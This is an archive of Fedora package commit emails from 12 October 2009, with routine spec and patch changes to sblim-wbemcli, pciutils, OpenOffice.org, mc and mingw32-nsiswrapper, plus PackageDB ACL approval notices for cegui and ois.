From: vcrhonek at fedoraproject.org (vcrhonek)
Date: Mon, 12 Oct 2009 12:31:54 +0000 (UTC)
Subject: rpms/sblim-wbemcli/EL-5 sblim-wbemcli-1.5.1-gcc43.patch, NONE,
	1.1 sblim-wbemcli-1.6.0-consts.patch, NONE, 1.1
Message-ID: <20091012123154.3B09311C00DB@cvs1.fedora.phx.redhat.com>

Author: vcrhonek

Update of /cvs/extras/rpms/sblim-wbemcli/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6684

Added Files:
	sblim-wbemcli-1.5.1-gcc43.patch 
	sblim-wbemcli-1.6.0-consts.patch 
Log Message:
Add patches

sblim-wbemcli-1.5.1-gcc43.patch:
 CimXml.h |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE sblim-wbemcli-1.5.1-gcc43.patch ---
diff -up sblim-wbemcli-1.5.1/CimXml.h.BAD sblim-wbemcli-1.5.1/CimXml.h
--- sblim-wbemcli-1.5.1/CimXml.h.BAD	2008-06-20 10:10:54.000000000 -0500
+++ sblim-wbemcli-1.5.1/CimXml.h	2008-06-20 10:11:07.000000000 -0500
@@ -26,7 +26,7 @@
 
 #include <cstdio>
 #include <cstdlib>
-#include <string>
+#include <cstring>
 #include <vector>
 #include <iostream>
 

sblim-wbemcli-1.6.0-consts.patch:
 CimXml.cpp |    6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

--- NEW FILE sblim-wbemcli-1.6.0-consts.patch ---
diff -ru sblim-wbemcli-1.6.0.orig/CimXml.cpp sblim-wbemcli-1.6.0/CimXml.cpp
--- sblim-wbemcli-1.6.0.orig/CimXml.cpp	2009-02-28 13:36:46.000000000 +0000
+++ sblim-wbemcli-1.6.0/CimXml.cpp	2009-02-28 13:45:39.000000000 +0000
@@ -1933,7 +1933,7 @@
       if (av) {
 	 int i,s;
 	 string urlstr;
-	 char *p,*q;
+	 const char *p,*q;
 
 	 // create full wbemcli URL
 	 p=strchr(av->val.c_str(),'/');
@@ -2155,7 +2155,7 @@
 {
   int i, k;
   string urlstr;
-  char *p, *q;
+  const char *p, *q;
   
   xb += "<VALUE.REFERENCE>";
 
@@ -3177,7 +3177,7 @@
       case 0:
          sb = sb + "<KEYBINDING NAME=\"" + p.name + "\">";
          if (p.pType==TypePropertyRef) {
-            char *u, *nsp;
+            const char *u, *nsp;
             const char *cnp;
             StringArray lns;
             string cn;



From mhlavink at fedoraproject.org  Mon Oct 12 12:32:45 2009
From: mhlavink at fedoraproject.org (Michal Hlavinka)
Date: Mon, 12 Oct 2009 12:32:45 +0000 (UTC)
Subject: rpms/pciutils/devel pciutils.spec,1.76,1.77
Message-ID: <20091012123245.04C6311C00DB@cvs1.fedora.phx.redhat.com>

Author: mhlavink

Update of /cvs/extras/rpms/pciutils/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6877

Modified Files:
	pciutils.spec 
Log Message:
move static library to -static sub-package



Index: pciutils.spec
===================================================================
RCS file: /cvs/extras/rpms/pciutils/devel/pciutils.spec,v
retrieving revision 1.76
retrieving revision 1.77
diff -u -p -r1.76 -r1.77
--- pciutils.spec	1 Sep 2009 12:09:49 -0000	1.76
+++ pciutils.spec	12 Oct 2009 12:32:44 -0000	1.77
@@ -1,6 +1,6 @@
 Name:		pciutils
 Version:	3.1.4
-Release: 	2%{?dist}
+Release: 	3%{?dist}
 Source:		ftp://atrey.karlin.mff.cuni.cz/pub/linux/pci/%{name}-%{version}.tar.gz
 Patch1: 	pciutils-2.2.4-buf.patch
 Patch2:		pciutils-2.1.10-scan.patch
@@ -43,6 +43,15 @@ Group: System Environment/Libraries
 This package contains a library for inspecting and setting
 devices connected to the PCI bus.
 
+%package devel-static
+Summary: Linux PCI static library
+Group: System Environment/Libraries
+Requires: %{name}-devel = %{version}-%{release}
+
+%description devel-static
+This package contains a static library for inspecting and setting
+devices connected to the PCI bus.
+
 %prep
 %setup -q -n pciutils-%{version}
 %patch1 -p1 -b .buf
@@ -55,7 +64,7 @@ devices connected to the PCI bus.
 %patch11 -p1 -b .superh
 %patch12 -p1 -b .arm
 
-sed -i -e 's/^SRC=.*/SRC="http:\/\/pciids.sourceforge.net\/pci.ids"/' update-pciids.sh
+sed -i -e 's|^SRC=.*|SRC="http://pciids.sourceforge.net/pci.ids"|' update-pciids.sh
 
 %build
 make SHARED="no" ZLIB="no" STRIP="" OPT="$RPM_OPT_FLAGS" PREFIX="/usr" IDSDIR="/usr/share/hwdata" PCI_IDS="pci.ids" %{?_smp_mflags}
@@ -103,10 +112,12 @@ install -p lib/libpci.pc $RPM_BUILD_ROOT
 %files libs
 %{_libdir}/libpci.so.*
 
+%files devel-static
+%{_libdir}/libpci.a
+
 %files devel
 %defattr(0644, root, root, 0755)
 %{_libdir}/pkgconfig/libpci.pc
-%{_libdir}/libpci.a
 %{_libdir}/libpci.so
 %{_includedir}/pci
 
@@ -114,7 +125,10 @@ install -p lib/libpci.pc $RPM_BUILD_ROOT
 rm -rf $RPM_BUILD_ROOT
 
 %changelog
-* Tue Sep 01 2009 Michal Hlavinka <mhlavink at redhat.com> - 3.1.4-1
+* Mon Oct 12 2009 Michal Hlavinka <mhlavink at redhat.com> - 3.1.4-3
+- don't ship static library in -devel sub-package
+
+* Tue Sep 01 2009 Michal Hlavinka <mhlavink at redhat.com> - 3.1.4-2
 - add COPYING to docs
 
 * Tue Sep 01 2009 Michal Hlavinka <mhlavink at redhat.com> - 3.1.4-1



From mhlavink at fedoraproject.org  Mon Oct 12 12:34:10 2009
From: mhlavink at fedoraproject.org (Michal Hlavinka)
Date: Mon, 12 Oct 2009 12:34:10 +0000 (UTC)
Subject: rpms/pciutils/F-12 pciutils.spec,1.76,1.77
Message-ID: <20091012123410.8A15011C00DB@cvs1.fedora.phx.redhat.com>

Author: mhlavink

Update of /cvs/extras/rpms/pciutils/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7223

Modified Files:
	pciutils.spec 
Log Message:
move static library to -static sub-package



Index: pciutils.spec
===================================================================
RCS file: /cvs/extras/rpms/pciutils/F-12/pciutils.spec,v
retrieving revision 1.76
retrieving revision 1.77
diff -u -p -r1.76 -r1.77
--- pciutils.spec	1 Sep 2009 12:09:49 -0000	1.76
+++ pciutils.spec	12 Oct 2009 12:34:10 -0000	1.77
@@ -1,6 +1,6 @@
 Name:		pciutils
 Version:	3.1.4
-Release: 	2%{?dist}
+Release: 	3%{?dist}
 Source:		ftp://atrey.karlin.mff.cuni.cz/pub/linux/pci/%{name}-%{version}.tar.gz
 Patch1: 	pciutils-2.2.4-buf.patch
 Patch2:		pciutils-2.1.10-scan.patch
@@ -43,6 +43,15 @@ Group: System Environment/Libraries
 This package contains a library for inspecting and setting
 devices connected to the PCI bus.
 
+%package devel-static
+Summary: Linux PCI static library
+Group: System Environment/Libraries
+Requires: %{name}-devel = %{version}-%{release}
+
+%description devel-static
+This package contains a static library for inspecting and setting
+devices connected to the PCI bus.
+
 %prep
 %setup -q -n pciutils-%{version}
 %patch1 -p1 -b .buf
@@ -55,7 +64,7 @@ devices connected to the PCI bus.
 %patch11 -p1 -b .superh
 %patch12 -p1 -b .arm
 
-sed -i -e 's/^SRC=.*/SRC="http:\/\/pciids.sourceforge.net\/pci.ids"/' update-pciids.sh
+sed -i -e 's|^SRC=.*|SRC="http://pciids.sourceforge.net/pci.ids"|' update-pciids.sh
 
 %build
 make SHARED="no" ZLIB="no" STRIP="" OPT="$RPM_OPT_FLAGS" PREFIX="/usr" IDSDIR="/usr/share/hwdata" PCI_IDS="pci.ids" %{?_smp_mflags}
@@ -103,10 +112,12 @@ install -p lib/libpci.pc $RPM_BUILD_ROOT
 %files libs
 %{_libdir}/libpci.so.*
 
+%files devel-static
+%{_libdir}/libpci.a
+
 %files devel
 %defattr(0644, root, root, 0755)
 %{_libdir}/pkgconfig/libpci.pc
-%{_libdir}/libpci.a
 %{_libdir}/libpci.so
 %{_includedir}/pci
 
@@ -114,7 +125,10 @@ install -p lib/libpci.pc $RPM_BUILD_ROOT
 rm -rf $RPM_BUILD_ROOT
 
 %changelog
-* Tue Sep 01 2009 Michal Hlavinka <mhlavink at redhat.com> - 3.1.4-1
+* Mon Oct 12 2009 Michal Hlavinka <mhlavink at redhat.com> - 3.1.4-3
+- don't ship static library in -devel sub-package
+
+* Tue Sep 01 2009 Michal Hlavinka <mhlavink at redhat.com> - 3.1.4-2
 - add COPYING to docs
 
 * Tue Sep 01 2009 Michal Hlavinka <mhlavink at redhat.com> - 3.1.4-1



From dtardon at fedoraproject.org  Mon Oct 12 12:47:27 2009
From: dtardon at fedoraproject.org (David Tardon)
Date: Mon, 12 Oct 2009 12:47:27 +0000 (UTC)
Subject: rpms/openoffice.org/devel
	openoffice.org-3.1.0.ooo98137.filter.redeclared-variables.patch,
	1.4, 1.5 openoffice.org.spec, 1.2026, 1.2027
Message-ID: <20091012124727.91D5C11C00DB@cvs1.fedora.phx.redhat.com>

Author: dtardon

Update of /cvs/extras/rpms/openoffice.org/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9872

Modified Files:
	openoffice.org-3.1.0.ooo98137.filter.redeclared-variables.patch 
	openoffice.org.spec 
Log Message:
fix newly introduced cases of variable shadowing in XHTML export filter

openoffice.org-3.1.0.ooo98137.filter.redeclared-variables.patch:
 export/spreadsheetml/formular.xsl |    6 +++---
 export/uof/odf2uof_text.xsl       |    8 +-------
 odf2xhtml/export/xhtml/body.xsl   |    8 ++++----
 3 files changed, 8 insertions(+), 14 deletions(-)

Index: openoffice.org-3.1.0.ooo98137.filter.redeclared-variables.patch
===================================================================
RCS file: /cvs/extras/rpms/openoffice.org/devel/openoffice.org-3.1.0.ooo98137.filter.redeclared-variables.patch,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- openoffice.org-3.1.0.ooo98137.filter.redeclared-variables.patch	10 Oct 2009 15:48:46 -0000	1.4
+++ openoffice.org-3.1.0.ooo98137.filter.redeclared-variables.patch	12 Oct 2009 12:47:27 -0000	1.5
@@ -1,3 +1,34 @@
+Index: filter/source/xslt/odf2xhtml/export/xhtml/body.xsl
+===================================================================
+--- filter/source/xslt/odf2xhtml/export/xhtml/body.xsl	(revision 276736)
++++ filter/source/xslt/odf2xhtml/export/xhtml/body.xsl	(working copy)
+@@ -106,8 +144,8 @@
+                 </xsl:when>
+                 <xsl:otherwise>
+                     <!-- As CSS writing-mode is not implemented by all browsers, a heuristic is done -->
+-                    <xsl:variable name="writingMode" select="key('writingModeStyles', 'test')"/>
+-                    <xsl:if test="contains($writingMode, 'rl')">
++                    <xsl:variable name="writingModeTest" select="key('writingModeStyles', 'test')"/>
++                    <xsl:if test="contains($writingModeTest, 'rl')">
+                         <xsl:attribute name="dir">rtl</xsl:attribute>
+                     </xsl:if>
+                 </xsl:otherwise>
+@@ -564,13 +602,13 @@
+         </xsl:variable>
+         <xsl:choose>
+             <xsl:when test="$tabIndent='NaN'">
+-                <xsl:variable name="tabPosition">
++                <xsl:variable name="tabPositionTmp">
+                     <xsl:call-template name="convert2cm">
+                         <xsl:with-param name="value" select="$tabStops/style:tab-stop[last()]/@style:position"/>
+                     </xsl:call-template>
+                 </xsl:variable>
+ 					<!-- Heuristic: for every tab that is more than specified give a further 1 cm -->
+-                <xsl:value-of select="$parentMarginLeft + $tabPosition + count($tabStops/style:tab-stop) - $tabCount"/>
++                <xsl:value-of select="$parentMarginLeft + $tabPositionTmp + count($tabStops/style:tab-stop) - $tabCount"/>
+             </xsl:when>
+             <xsl:otherwise>
+                 <xsl:value-of select="$tabIndent"/>
 diff -ru filter.orig/source/xslt/export/spreadsheetml/formular.xsl filter/source/xslt/export/spreadsheetml/formular.xsl
 --- filter.orig/source/xslt/export/spreadsheetml/formular.xsl	2009-04-24 09:31:14.000000000 +0100
 +++ filter/source/xslt/export/spreadsheetml/formular.xsl	2009-04-24 09:31:57.000000000 +0100


Index: openoffice.org.spec
===================================================================
RCS file: /cvs/extras/rpms/openoffice.org/devel/openoffice.org.spec,v
retrieving revision 1.2026
retrieving revision 1.2027
diff -u -p -r1.2026 -r1.2027
--- openoffice.org.spec	12 Oct 2009 09:33:04 -0000	1.2026
+++ openoffice.org.spec	12 Oct 2009 12:47:27 -0000	1.2027
@@ -4182,6 +4182,7 @@ fi
 - add workspace.dba32h.patch
 - Resolves: rhbz#528409 [si_LK] Default font in oowriter is not
   Language Default (LKLUG), but DejaVu Sans (dtardon)
+- update openoffice.org-3.1.0.ooo98137.filter.redeclared-variables.patch (dtardon)
 
 * Thu Oct 08 2009 Caol?n McNamara <caolanm at redhat.com> - 1:3.1.1-19.11
 - merge openoffice.org-3.1.1.ooo104157.svx.crashonencryptparse.patch



From jnovy at fedoraproject.org  Mon Oct 12 12:50:24 2009
From: jnovy at fedoraproject.org (Jindrich Novy)
Date: Mon, 12 Oct 2009 12:50:24 +0000 (UTC)
Subject: rpms/mc/devel mc-vfsfail.patch,NONE,1.1 mc.spec,1.150,1.151
Message-ID: <20091012125024.7EE9B11C029E@cvs1.fedora.phx.redhat.com>

Author: jnovy

Update of /cvs/pkgs/rpms/mc/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10446

Modified Files:
	mc.spec 
Added Files:
	mc-vfsfail.patch 
Log Message:
* Mon Oct 12 2009 Jindrich Novy <jnovy at redhat.com> 4.7.0-0.6.pre3
- fix segfault while browsing various archives via VFS (#528268)


mc-vfsfail.patch:
 vfs.c |   16 ++++++++++++++++
 1 file changed, 16 insertions(+)

--- NEW FILE mc-vfsfail.patch ---
diff -up mc-4.7.0/vfs/vfs.c.jn mc-4.7.0/vfs/vfs.c
--- mc-4.7.0/vfs/vfs.c.jn	2009-10-12 13:57:18.000000000 +0200
+++ mc-4.7.0/vfs/vfs.c	2009-10-12 14:34:04.000000000 +0200
@@ -675,6 +675,9 @@ int
 mc_ctl (int handle, int ctlop, void *arg)
 {
     struct vfs_class *vfs = vfs_op (handle);
+    
+    if (vfs == NULL)
+        return 0;
 
     return vfs->ctl ? (*vfs->ctl)(vfs_info (handle), ctlop, arg) : 0;
 }
@@ -708,6 +711,10 @@ mc_close (int handle)
 	return -1;
     
     vfs = vfs_op (handle);
+    
+    if (vfs == NULL)
+    	return -1;
+    
     if (handle < 3)
 	return close (handle);
 
@@ -798,6 +805,8 @@ mc_readdir (DIR *dirp)
     }
     handle = *(int *) dirp;
     vfs = vfs_op (handle);
+    if (vfs == NULL)
+    	return NULL;
     dirinfo = vfs_info (handle);
     if (vfs->readdir) {
         entry = (*vfs->readdir) (dirinfo->info);
@@ -820,6 +829,9 @@ mc_closedir (DIR *dirp)
     int result;
     struct vfs_dirinfo *dirinfo;
 
+    if (vfs == NULL)
+    	return -1;
+
     dirinfo = vfs_info (handle);
     if (dirinfo->converter != str_cnv_from_term) str_close_conv (dirinfo->converter);
 
@@ -874,6 +886,8 @@ int mc_fstat (int handle, struct stat *b
     if (handle == -1)
 	return -1;
     vfs = vfs_op (handle);
+    if (vfs == NULL)
+    	return -1;
     result = vfs->fstat ? (*vfs->fstat) (vfs_info (handle), buf) : -1;
     if (result == -1)
 	errno = vfs->name ? ferrno (vfs) : E_NOTSUPP;
@@ -967,6 +981,8 @@ off_t mc_lseek (int fd, off_t offset, in
 	return -1;
 
     vfs = vfs_op (fd);
+    if (vfs == NULL)
+    	return -1;
     result = vfs->lseek ? (*vfs->lseek)(vfs_info (fd), offset, whence) : -1;
     if (result == -1)
         errno = vfs->lseek ? ferrno (vfs) : E_NOTSUPP;


Index: mc.spec
===================================================================
RCS file: /cvs/pkgs/rpms/mc/devel/mc.spec,v
retrieving revision 1.150
retrieving revision 1.151
diff -u -p -r1.150 -r1.151
--- mc.spec	5 Oct 2009 11:42:16 -0000	1.150
+++ mc.spec	12 Oct 2009 12:50:24 -0000	1.151
@@ -1,7 +1,7 @@
 Summary:	User-friendly text console file manager and visual shell
 Name:		mc
 Version:	4.7.0
-Release:	0.5.pre3%{?dist}
+Release:	0.6.pre3%{?dist}
 Epoch:		1
 License:	GPLv2
 Group:		System Environment/Shells
@@ -14,6 +14,7 @@ Requires:	dev >= 3.3-3
 
 Patch1:		mc-exit.patch
 Patch2:		mc-extensions.patch
+Patch3:		mc-vfsfail.patch
 
 %description
 Midnight Commander is a visual shell much like a file manager, only
@@ -26,6 +27,7 @@ specific files.
 %setup -q -n mc-%{version}-pre3
 %patch1 -p1 -b .exit
 %patch2 -p1 -b .extensions
+%patch3 -p1 -b .vfsfail
 
 %build
 export CFLAGS="-D_FILE_OFFSET_BITS=64 -D_LARGEFILE_SOURCE $RPM_OPT_FLAGS"
@@ -81,6 +83,9 @@ rm -rf $RPM_BUILD_ROOT
 %dir %{_libexecdir}/mc
 
 %changelog
+* Mon Oct 12 2009 Jindrich Novy <jnovy at redhat.com> 4.7.0-0.6.pre3
+- fix segfault while browsing various archives via VFS (#528268)
+
 * Mon Oct  5 2009 Jindrich Novy <jnovy at redhat.com> 4.7.0-0.5.pre3
 - update to 4.7.0-pre3
 - add BR: gpm-devel



From caolanm at fedoraproject.org  Mon Oct 12 12:53:34 2009
From: caolanm at fedoraproject.org (Caolan McNamara)
Date: Mon, 12 Oct 2009 12:53:34 +0000 (UTC)
Subject: rpms/openoffice.org/devel openoffice.org.spec,1.2027,1.2028
Message-ID: <20091012125334.2526B11C00DB@cvs1.fedora.phx.redhat.com>

Author: caolanm

Update of /cvs/pkgs/rpms/openoffice.org/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11047

Modified Files:
	openoffice.org.spec 
Log Message:
dump registration logs to see error


Index: openoffice.org.spec
===================================================================
RCS file: /cvs/pkgs/rpms/openoffice.org/devel/openoffice.org.spec,v
retrieving revision 1.2027
retrieving revision 1.2028
diff -u -p -r1.2027 -r1.2028
--- openoffice.org.spec	12 Oct 2009 12:47:27 -0000	1.2027
+++ openoffice.org.spec	12 Oct 2009 12:53:33 -0000	1.2028
@@ -1740,7 +1740,7 @@ for attempt in 1 2 3 4 5 6 7 8 9 10; do
         break
     else
         echo - ---dump log start---
-        cat ../unx*.pro/BrOffice/rpm/logging/pt-BR/log_*_pt-BR.log
+        cat ../unx*.pro/BrOffice/logging/pt-BR/log_*_pt-BR.log
         echo - ---dump log end---
         export _MALLOC_CHECK=0
         ok=false
@@ -1759,7 +1759,7 @@ for attempt in 1 2 3 4 5 6 7 8 9 10; do
         break
     else
         echo - ---dump log start---
-        cat ../unx*.pro/OpenOffice/rpm/logging/en-US/log_*_en-US.log
+        cat ../unx*.pro/OpenOffice/logging/en-US/log_*_en-US.log
         echo - ---dump log end---
         export _MALLOC_CHECK=0
         ok=false
@@ -4132,7 +4132,7 @@ fi
     unopkg list --shared > /dev/null 2>&1 || :
 
 %changelog
-* Fri Oct 09 2009 Caol?n McNamara <caolanm at redhat.com> - 1:3.2.0-1.1
+* Mon Oct 12 2009 Caol?n McNamara <caolanm at redhat.com> - 1:3.2.0-1.1
 - drop integrated autocorrection files (i102567)
 - drop integrated workspace.defaultdoclang.patch
 - drop integrated workspace.kso32fixes.patch



From pkgdb at fedoraproject.org  Mon Oct 12 13:05:45 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 12 Oct 2009 13:05:45 +0000
Subject: [pkgdb] cegui: atorkhov has requested watchcommits
Message-ID: <20091012130545.82F2E10F875@bastion2.fedora.phx.redhat.com>

atorkhov has requested the watchcommits acl on cegui (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/cegui



From pkgdb at fedoraproject.org  Mon Oct 12 13:05:45 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 12 Oct 2009 13:05:45 +0000
Subject: [pkgdb] cegui: atorkhov has requested commit
Message-ID: <20091012130545.D6A2910F889@bastion2.fedora.phx.redhat.com>

atorkhov has requested the commit acl on cegui (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/cegui



From pkgdb at fedoraproject.org  Mon Oct 12 13:05:46 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 12 Oct 2009 13:05:46 +0000
Subject: [pkgdb] cegui: atorkhov has requested approveacls
Message-ID: <20091012130546.5ECAF10F8A4@bastion2.fedora.phx.redhat.com>

atorkhov has requested the approveacls acl on cegui (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/cegui



From pkgdb at fedoraproject.org  Mon Oct 12 13:05:46 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 12 Oct 2009 13:05:46 +0000
Subject: [pkgdb] cegui: atorkhov has requested watchbugzilla
Message-ID: <20091012130546.9207710F8AB@bastion2.fedora.phx.redhat.com>

atorkhov has requested the watchbugzilla acl on cegui (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/cegui



From pkgdb at fedoraproject.org  Mon Oct 12 13:06:04 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 12 Oct 2009 13:06:04 +0000
Subject: [pkgdb] ois: atorkhov has requested watchcommits
Message-ID: <20091012130604.2EAEB10F88B@bastion2.fedora.phx.redhat.com>

atorkhov has requested the watchcommits acl on ois (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/ois



From pkgdb at fedoraproject.org  Mon Oct 12 13:06:04 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 12 Oct 2009 13:06:04 +0000
Subject: [pkgdb] ois: atorkhov has requested commit
Message-ID: <20091012130605.0A6C010F8A8@bastion2.fedora.phx.redhat.com>

atorkhov has requested the commit acl on ois (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/ois



From pkgdb at fedoraproject.org  Mon Oct 12 13:06:07 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 12 Oct 2009 13:06:07 +0000
Subject: [pkgdb] ois: atorkhov has requested approveacls
Message-ID: <20091012130607.E42A410F8AD@bastion2.fedora.phx.redhat.com>

atorkhov has requested the approveacls acl on ois (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/ois



From pkgdb at fedoraproject.org  Mon Oct 12 13:06:09 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 12 Oct 2009 13:06:09 +0000
Subject: [pkgdb] ois: atorkhov has requested watchbugzilla
Message-ID: <20091012130609.EC17610F8AF@bastion2.fedora.phx.redhat.com>

atorkhov has requested the watchbugzilla acl on ois (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/ois



From pkgdb at fedoraproject.org  Mon Oct 12 13:06:40 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 12 Oct 2009 13:06:40 +0000
Subject: [pkgdb] cegui had acl change status
Message-ID: <20091012130641.0E2FC10F86A@bastion2.fedora.phx.redhat.com>

jwrdegoede has set the watchbugzilla acl on cegui (Fedora devel) to Approved for atorkhov

To make changes to this package see:
  /pkgdb/packages/name/cegui



From pkgdb at fedoraproject.org  Mon Oct 12 13:06:43 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 12 Oct 2009 13:06:43 +0000
Subject: [pkgdb] cegui had acl change status
Message-ID: <20091012130643.8B1C810F87E@bastion2.fedora.phx.redhat.com>

jwrdegoede has set the watchcommits acl on cegui (Fedora devel) to Approved for atorkhov

To make changes to this package see:
  /pkgdb/packages/name/cegui



From pkgdb at fedoraproject.org  Mon Oct 12 13:06:46 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 12 Oct 2009 13:06:46 +0000
Subject: [pkgdb] cegui had acl change status
Message-ID: <20091012130646.2CD2510F86A@bastion2.fedora.phx.redhat.com>

jwrdegoede has set the commit acl on cegui (Fedora devel) to Approved for atorkhov

To make changes to this package see:
  /pkgdb/packages/name/cegui



From pkgdb at fedoraproject.org  Mon Oct 12 13:06:49 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 12 Oct 2009 13:06:49 +0000
Subject: [pkgdb] cegui had acl change status
Message-ID: <20091012130649.3B0BE10F87E@bastion2.fedora.phx.redhat.com>

jwrdegoede has set the approveacls acl on cegui (Fedora devel) to Approved for atorkhov

To make changes to this package see:
  /pkgdb/packages/name/cegui



From pkgdb at fedoraproject.org  Mon Oct 12 13:07:59 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 12 Oct 2009 13:07:59 +0000
Subject: [pkgdb] ois had acl change status
Message-ID: <20091012130759.BEB0710F86A@bastion2.fedora.phx.redhat.com>

jwrdegoede has set the watchbugzilla acl on ois (Fedora devel) to Approved for atorkhov

To make changes to this package see:
  /pkgdb/packages/name/ois



From pkgdb at fedoraproject.org  Mon Oct 12 13:08:00 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 12 Oct 2009 13:08:00 +0000
Subject: [pkgdb] ois had acl change status
Message-ID: <20091012130801.05FE510F882@bastion2.fedora.phx.redhat.com>

jwrdegoede has set the watchcommits acl on ois (Fedora devel) to Approved for atorkhov

To make changes to this package see:
  /pkgdb/packages/name/ois



From pkgdb at fedoraproject.org  Mon Oct 12 13:08:03 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 12 Oct 2009 13:08:03 +0000
Subject: [pkgdb] ois had acl change status
Message-ID: <20091012130803.813A310F8A3@bastion2.fedora.phx.redhat.com>

jwrdegoede has set the commit acl on ois (Fedora devel) to Approved for atorkhov

To make changes to this package see:
  /pkgdb/packages/name/ois



From pkgdb at fedoraproject.org  Mon Oct 12 13:08:05 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 12 Oct 2009 13:08:05 +0000
Subject: [pkgdb] ois had acl change status
Message-ID: <20091012130805.E6D4310F8A4@bastion2.fedora.phx.redhat.com>

jwrdegoede has set the approveacls acl on ois (Fedora devel) to Approved for atorkhov

To make changes to this package see:
  /pkgdb/packages/name/ois



From atkac at fedoraproject.org  Mon Oct 12 13:08:39 2009
From: atkac at fedoraproject.org (Adam Tkac)
Date: Mon, 12 Oct 2009 13:08:39 +0000 (UTC)
Subject: rpms/mingw32-nsiswrapper/devel mingw32-nsiswrapper.spec, 1.6,
	1.7 nsiswrapper.pl, 1.3, 1.4
Message-ID: <20091012130839.0B41411C00DB@cvs1.fedora.phx.redhat.com>

Author: atkac

Update of /cvs/pkgs/rpms/mingw32-nsiswrapper/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14047

Modified Files:
	mingw32-nsiswrapper.spec nsiswrapper.pl 
Log Message:
- add version.dll to list of system libraries (#528467)



Index: mingw32-nsiswrapper.spec
===================================================================
RCS file: /cvs/pkgs/rpms/mingw32-nsiswrapper/devel/mingw32-nsiswrapper.spec,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- mingw32-nsiswrapper.spec	25 Jul 2009 14:27:01 -0000	1.6
+++ mingw32-nsiswrapper.spec	12 Oct 2009 13:08:38 -0000	1.7
@@ -1,6 +1,6 @@
 Name:           mingw32-nsiswrapper
 Version:        4
-Release:        3%{?dist}
+Release:        4%{?dist}
 Summary:        Helper program for making NSIS Windows installers
 
 License:        GPLv2+
@@ -66,6 +66,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Mon Oct 12 2009 Adam Tkac <atkac redhat com> - 4-4
+- add version.dll to list of system libraries (#528467)
+
 * Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 4-3
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: nsiswrapper.pl
===================================================================
RCS file: /cvs/pkgs/rpms/mingw32-nsiswrapper/devel/nsiswrapper.pl,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- nsiswrapper.pl	9 Jun 2009 08:50:41 -0000	1.3
+++ nsiswrapper.pl	12 Oct 2009 13:08:38 -0000	1.4
@@ -505,7 +505,8 @@ sub is_windows_system_dll
 	$_ eq 'winmm.dll' ||
 	$_ eq 'wsock32.dll' ||
 	$_ eq 'ws2_32.dll' ||
-	$_ eq 'wldap32.dll'
+	$_ eq 'wldap32.dll' ||
+	$_ eq 'version.dll'
 }
 
 # Add Gtk dependencies, if --with-gtk.



From atkac at fedoraproject.org  Mon Oct 12 13:10:49 2009
From: atkac at fedoraproject.org (Adam Tkac)
Date: Mon, 12 Oct 2009 13:10:49 +0000 (UTC)
Subject: rpms/mingw32-nsiswrapper/F-12 mingw32-nsiswrapper.spec, 1.6,
	1.7 nsiswrapper.pl, 1.3, 1.4
Message-ID: <20091012131049.9217211C02A1@cvs1.fedora.phx.redhat.com>

Author: atkac

Update of /cvs/pkgs/rpms/mingw32-nsiswrapper/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14408

Modified Files:
	mingw32-nsiswrapper.spec nsiswrapper.pl 
Log Message:
- add version.dll to list of system libraries (#528467)



Index: mingw32-nsiswrapper.spec
===================================================================
RCS file: /cvs/pkgs/rpms/mingw32-nsiswrapper/F-12/mingw32-nsiswrapper.spec,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- mingw32-nsiswrapper.spec	25 Jul 2009 14:27:01 -0000	1.6
+++ mingw32-nsiswrapper.spec	12 Oct 2009 13:10:49 -0000	1.7
@@ -1,6 +1,6 @@
 Name:           mingw32-nsiswrapper
 Version:        4
-Release:        3%{?dist}
+Release:        4%{?dist}
 Summary:        Helper program for making NSIS Windows installers
 
 License:        GPLv2+
@@ -66,6 +66,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Mon Oct 12 2009 Adam Tkac <atkac redhat com> - 4-4
+- add version.dll to list of system libraries (#528467)
+
